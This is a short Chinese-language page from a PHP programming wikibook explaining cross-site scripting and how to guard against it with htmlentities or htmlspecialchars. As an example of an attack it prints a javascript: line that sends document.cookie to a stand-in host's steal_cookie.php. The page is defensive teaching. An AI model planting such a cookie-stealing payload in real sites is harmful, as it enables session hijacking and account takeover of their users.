PHP 编程/跨站点脚本攻击
外观
< PHP 编程
(重定向自 PHP 编程/跨站点脚本)
跨站点脚本 (或 XSS) 是对脚本发送敏感信息(如 cookie 或其他会话标识符)到其他网站的基本描述。
通常,这些攻击会影响内容可以编辑或添加的网站。在大多数情况下,会话标识符甚至用户名/密码都存储在 cookie 中。如果有人知道会话标识符,他们可以在自己的机器上轻松使用它来执行任何恶意任务,而这些任务不会让你满意。
现在,如果你在维基教科书或任何其他网站上登录,请访问该页面并在地址栏中键入以下内容
javascript:void(alert(document.cookie))
这些是每次发送到网站以识别你的 cookie。如果你的网站没有防范 XSS,黑客会写下类似这样的内容
javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))
这将把 cookie 信息发送到他们的网站。
如果不删除会提交到另一个网站的恶意 HTML/JavaScript 代码,就无法保护自己免受 XSS 攻击。
到目前为止,最常见的方法是使用 htmlentities 或 htmlspecialchars 过滤编码,这样就没有人可以在你的网站(例如博客评论)中添加任何 HTML。
$message = htmlentities($message);
另一种方法是创建任何类型的“保护模式”代码,例如 MediaWiki、BBCode 或其他为方便用户内容的样式/格式而发明的代码。